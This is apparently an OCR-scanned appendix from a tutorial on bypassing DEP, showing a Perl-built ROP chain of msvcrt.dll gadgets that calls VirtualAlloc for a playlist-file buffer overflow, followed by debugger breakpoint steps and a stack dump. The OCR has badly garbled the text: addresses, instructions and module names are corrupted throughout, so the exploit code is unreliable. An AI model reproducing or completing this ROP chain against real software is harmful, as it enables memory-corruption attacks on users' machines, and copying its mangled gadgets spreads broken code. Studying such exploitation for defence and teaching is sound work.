# POF EAY & BETH [=m= .dll]

Dx00001000

& ADD ERY, SE40C033 # EETH [ t.dll]
# HCHE EAN,EDK # BETN [m=wvecrt.dll]

# POP ERX 4 BETN [m=vort.dll]

# POP EDI # BETH [
# BETK (ROEP KOP)

# POP ESI # BETH [
# JMP [EAH] [m=
# POP EAX # BETH [m=

.dll]

rt.dll]

# ptr to aVirtualille [IAT m=wert.dll]
# PUSHAD # BETH [me=weort.dll]
# ptr to 'push esp # ret ' [mesvers.dll]

Figure 61 Result of Perl variable being placed

Find  Replace |Findin Fies | Mark |

Find what II , E I

¥ put delta into eax (-> put Oul0001000 into edu)

# put ( Pu I into ecx]

Replace with :I),' # I j Replace

I Match whole word only

| Find Next I

[™ 1In selection Replace all

[~ Match case

V¥ wirap around

Search Mode Direction————— ¥ Transparency

& Narmal  up % Onlosing focus
" Extended {\n, ¥, \t, 10, ...) & Down  always

" Regular expression [~ . matches newline

f—

Replace All in All Opened
Documents
Close |

Figure 62 Replace Python ending with Perl ending
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#[---INFD:gadgets to set sbp:---]
5Playlist3kin .= pack| ,!]x'.".‘cﬂ'nEEq:l: #P0P EEP # BETH [m=vert.dll]
kin .= pack{'V' 0x772d6L52) ; #4=kip 4 bybes [m=vert.dll]
-INFO:gadgets_to_sec_sbu:---]

LAxTTzlzTel) ; #INC EEX # BETH [m=vert.dll]
= pack {'V" 0x772127=1) ; 2IKWC EEX # BETN [mewvert.dll]
-INFD:gadgets to_=et edu:--—-]

.= pack {'V' 0x77zd=0da) ; #P0P EAN # BETN [m=wvecrt.dll]

-INFD:gadgecs _to_set ecu:i---]
8Ck) ; 4POP EAN # BETN [me=vert.dll]

.= pack{'V' 0x77247241) ; #B0P EDI # BETK [msvert.dll]
kin .= pack{'V',0x77z497a42); #BETH (ROF NOF)] [m=veroc.dll]
-INFD:gadgets to_set esiz--—-]

= pack{'V' ,0x77cEcaal) ; #P0F EEI # BEIN [m=vcrt.dll]
= JIx77eZaacc) ; #IMP [EAX] [m=wvert.dll]
JOx77249=2352) ; #P0F EAX # BETH [m=vert.dll]

0x77cl2di%) ; #PTSHAD # BETH [mewvert.dll]

-INFD:extras

5Flayli=tikin .= pack{'V' 0x77c3d54b4); #ptr to 'push e=zp # ret ' [mevert.dll]

1

Figure 63 End result - complete Perl code

pack{'V' Oxalkfdfed) ; #put delta inte eax (-¥ put Dul0001000 into edw)
= LxTTc38081) ; #ADD ERM, SE40C033 & BETH [mowvert.dll]
1 .= pack {7 0x7T7258fee) ;- #NCHE EANETH # RETH [mevert. dll]

=) ; dput delta intec eaw (- put Oul0OO0040 into ecu)
JIx7T724278a) ; 4ADD EAX,CSOO00EZ & BETH [m=vert.dll]
LAx77214001) ; #HCHE EAX,ECH # BETN [m=vcrt.dll]

JOxT721110c) ; #por to EVirtualAlloc(] [IAT m=vert.dll]
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APPENDIX D — BREAKPOINT FOR DEP SYSTEM INSTRUCTION

In order to set a breakpoint; press CTRL + g, enter in memory address and press F2 to
create the breakpoint (Figures 64, 65 and 66).

FusH ELL EEF ©134FFF4
B R _' ES] GRGaGEE4
w0F FNOT_ ARAARAAAS
EEE Enter expression to follow x|
01786234 j CocEn1E
[T
18 BE
18 BE
:S EE k. I Cancel I
25
| [La -4 4 pprar——
i | [ BizaFFec] reosamsalnedll. 7oasan3e

H1Z34FFFAl BEREEEEE

e A

Figure 64 CTRL + G and memory address for breakpoint

[& CPU - thread 00000998, module kernel32

[EEEEESAm cerr moy EDILEDI
rCEeZ3AF| 55 FUZH EEF
rCEez3ER| SBEC mow EEF, ESF
rCEez3B2| S3EC 54 SUE ESF,54
rCEez3B5| 53 FUSH EE:x
rCEez3E8| 56 FUSH ESI
rC2623B7| &7 FUSH EDI
rCacz23Bs| &R 11 FPUSH 11
rC2623BA| 59 FOP ECH
rC2c23BE| 23CH »OR ERE, EAX
rC2c22B0l 2F3F6 »OR ESI.ESI

Figure 65 F2 breakpoint on address
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7C3623ED0
7C3623EF

ol h T R

¥OR ESI,EST
FUSH ESI

Address

BE40EBEE
BE40EBES
BE40EE 18
BE40EE1S
BE40EBZE
BE40EEZES
BE40EE23E
BE40EQZS
BE40EG4E
BE40EG42
BE40ERSE
BE40EESS
BE40EBCE
BE40EBSS
BE40EETE
BE40EETS
BE40EESE
BE40EBSS
BE40EETE
BE40EETS
BE40EBAS
BE40EBRS
BE40EGER
BE40EBES
BE40EBCE
BE40EBCES

EIF|FCE6223A0 kernel32. Wi

C B ES 8022 22bit @IFFF

BE11E4EC
BE11E4FE
BE11E4F4
BE11E4FS
BE11E4FC
BE11ESAR
BE11ESAY
GE11ESRS
Ba11ESAC
BE11ESLA
BE11ES14
BA11ESLS
BE11ESIC
BE11ES2E
BE11ES24
BE11ES2S
BE11ES2C
BE11ES3A
BE11ES34
BE11ES3S
BE11ES3C
BE11ES4E
BE11ES44
BE11ES4S
BE11ES4C
BE11ESER
BE11ESE4

drdzacde
43434343
44444444

BalIziaa) i

AEGEEEEE | . . . .

CCCCCCCT
CCECCCCC
CCECCCCC
CCCCCCCC
CCCCCCCC
CCCCCCCC
CCECCCCC
CCCCCCCO
CCECCCCC
CCECCCCC
CCCCCCCC
CCECCCCC
CCECCCCC
CCCCCCCC
CCECCCCC
CCECCCCC
CCECCCCC
CCECCCCC
CCECCCCC
CCECCCCC
CCCCCCCO
CCECCCCC
CCCCCCCC

[eletinl=rinlr]

Figure 66 Stack after hitting breakpoint
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